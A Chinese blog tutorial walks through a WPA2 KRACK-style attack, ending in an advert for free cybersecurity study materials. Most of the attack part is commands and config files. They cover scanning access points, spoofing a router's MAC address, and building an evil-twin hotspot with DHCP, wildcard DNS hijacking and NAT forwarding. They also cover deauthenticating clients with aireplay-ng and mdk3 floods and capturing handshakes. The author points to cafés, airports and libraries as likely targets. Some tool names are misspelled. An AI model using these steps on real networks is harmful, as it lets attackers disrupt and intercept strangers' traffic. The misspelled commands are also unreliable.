0x00 进行渗透时需知晓的基础知识
1.WPA2:是WPA的升级版,是针对保护无线网络安全而设计的无线网络保护系统,引入了PSK(预共享密钥模式)秘钥,加强了WPA的不足之处,但是因为使用了PSK,所以只要攻击者知晓目标的PSK秘钥,就能十分轻易加入无线网络。
2.WPA3:是近几年新出现的无线网络安全保护系统,在WPA2的基础上实现了针对字典法暴力密码破解的难度,如果失败次数过多,AP将直接锁定攻击行为,以及取代了PSK使用对等实体验证(SAE)
3.AP:特指无线网络接入点,就是路由器等设备的广泛称呼
PS.实现无线网络攻击一般都需要两张或更多网卡,有时候也需要一些社工手段!购买无线网卡强烈建议购买支持802.11ac协议的网卡!!!
0x01 WPA2渗透思路
如果实在嫌跑密码的进度过慢或者没有好的字典,可以试一试wpa2的秘钥重装攻击(KRACK)
PS.本文所用的方法绝大部分没有使用大佬提供的POC,旨为了能够完全细化并理解KRACK攻击的步骤
0x02 秘钥重装攻击复现步骤:
秘钥重装攻击(KRACK):
此攻击针对WPA2协议中创建一个Nonce(一种共享密钥)的四次握手。
0x03 KRACK的原理:
WPA2的标准预期有偶尔发生的Wi-Fi断开连接,并允许使用同样的值重连第三次握手,以做到快速重连和连续性。因为标准不要求在此种重连时使用不同密钥,所以可能出现重放攻击。
攻击者还可以反复重发另一设备的第三次握手来重复操纵或重置WPA2的加密密钥。每次重置都会使用相同的值来加密数据,因此可以看到和匹配有相同数据的块,识别出被加密密钥链的数据块。随着反复的重置暴露越来越多的密钥链,最终整个密钥链将被获知,攻击者将可读取目标在此连接上的所有流量。
WPA2通常用于移动设备至固定接入点或家庭路由器的连接,尽管某些流量本身可能被SSL/TLS等协议加密,但风险仍十分严重。(资料来自百度百科)
1.启动网卡的混杂模式
sudo airmong-ng start <device1>
2.对目标AP进行信息收集
先用
sudo airodump-ng <device1>
3.找到目标AP的BSSID
这是我家中的2.4g无线网络,第一个使用桥接模式桥接了CMCC,因为两个路由器都已经安装了最新的固件把秘钥重装漏洞修复了,所以该次实验不会对我的路由器与设备造成损伤或是成功渗透,但是针对现实中像是咖啡店、机场、图书馆类的场景,路由器的固件很有可能并没有升级到最新版本,所以该攻击可能依然有效
4.锁定目标BSSID后,使用
sudo airodump-ng <device1> --bssid=<target bssid>
5.嗅探该AP中的所有成员
如果没有成员的话可以插拔一下网卡(我才不会因为在复现过程中没看到网卡关闭等了十几分钟这件事说出来)
6.克隆Wi-Fi钓鱼热点
需要伪造一个同名,同mac地址的钓鱼热点
更改网卡mac地址步骤:
sudo ifconfig device2 down
sudo macchaner device2 -m <newmac> //注意,请将这里的newmac更改为目标AP点的mac地址
sudo ifconfig device2 up
伪造热点:
sudo airmong start wlan2 //开启网卡的监听模式
sudo airbase-ng -e <target SSID> -c <channel> <device2> //讲trget SSID更改为目标SSID,并且channel更改成不同的信道
sudo ifconfig at0 up //启动虚拟网关
sudo vi /etc/network/interfaces
------------------------------
//配置虚拟网卡地址参数
auto at0
iface at0 inet static
address 192.168.199.1 //这里最好与目标ap点的管理页面一样
netmask 255.255.255.0
------------------------------
sudo service networking restart //重启网卡服务
ifconfig at0查看at0网卡,如果没有ip地址或者不存在,重试以上步骤,注意!必须先使用airbase-ng创建AP点,at0网卡才会被可用!
配置DHCP:
sudo vi /etc/dhcp/dhcpd.conf
设置子网 掩码 分配地址范围等
在里面添加:
subnet 192.168.199.0 netmask 255.255.255.0{
range 192.168.199.100 192.168.199.150;
option routers 192.168.199.1;
option subnet-mask 255.255.255.0;
option domain-name-servers 192.168.178.99; //注意这里的doamin地址需要自己更换
}
进入下一配置文件,将at0指定为dhcp请求网卡
sudo vi /etc/default/isc-dhcp-server
将其中的INTERFACESv4=""更改为INTERFACESv4="at0"
sudo service isc-dhcp-server restart //重启dhcp服务
配置dnsmasq
sudo vi /etc/dnsmasq.conf
添加以下内容:
resolv-file=/etc/resolv.conf //设置resolv目录
strict-order
listen-address=192.168.199.113 //这个ip是本机ip,如果只想本地访问可以填写127.0.0.1
address=/baidu.com/192.168.178.99 //注意,这一步很重要,需要在这里设置泛解析
address=/111.com/220.181.38.148
server=8.8.8.8
//设置谷歌dns为首选dns
server=114.114.114.114
sudo vi /etc/resolv.conf
添加nameserver为本机ip地址
重启dnsmasq服务
sudo service dnsmasq restart
设置iptables进行流量转发:
//使用iptables编写规则:
iptables -t nat -A POSTROUTING -s 192.168.199.0/24 -j SNAT --to 192.168.178.99
iptables -t nat -A POSTROUTING -o eth0 -j MASQUERADE
//对eth0进行源nat
iptables -A FORWARD -i wlan1 -o eth0 -j ACCEPT
//转发能上网的无线网卡流量
iptables -A FORWARD -p tcp --syn -s 192.168.199.0/24 -j TCPMSS --set-mss 1356
iptables-save //保存
克隆Wi-Fi后成功获取到成员进入网络提示信息
7.但是我们也不能白等新的冤大头连上我们的热点,所以我们可以对目标AP的成员使用断网攻击使其强制掉线重连
aireplay-ng攻击:
//先对目标AP进行锁定监听并保存抓到的握手包
sudo airodump-ng <device1> --bssid=<target bssid> --channel=<channel> -w <文件保存路径>
//然后打开一个新的命令窗口进行攻击
sudo aireplay-ng -0 0 -a <target AP BSSID> -c <target member MAC> <device1>
mdk3/mdk4攻击:
vi blacklist //创建一个黑名单文件,并且把目标的BSSID填进去
sudo mdk3 <device> d -s 1000 -b blacklist.txt -c <target channel> //执行攻击
//mdk4同理,只需要把mdk3换成mdk4
稍等一会后,所有目标均已离线,2.4gAP网络用户断网连接后一般来说都可以直接获取到握手包
8.获取四次握手的数据包
当左上角出现:
就说明我们拿到了握手包
接着打开wireshak,将上一步的01号数据包到wireshark打开搜索字符串Message
需要找到
然后右键选择标记分组
之后选择左上角"文件"->导出特定分组->选择仅选中分组
想入行或者感兴趣的小伙伴,赠上全套网络安全学习资料,包含面试题、简历资料等具体看下方。

对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。
同时每个成长路线对应的板块都有配套的视频提供:
以及对应的工具包
网安相关面试题
其它资料
所有资料 ⚡️ ,朋友们如果有需要全套 📦《网络安全入门+进阶学习资源包》,可以扫描下方二维码免费领取 🆓(如遇扫码问题,可以在评论区留言领取哦)~
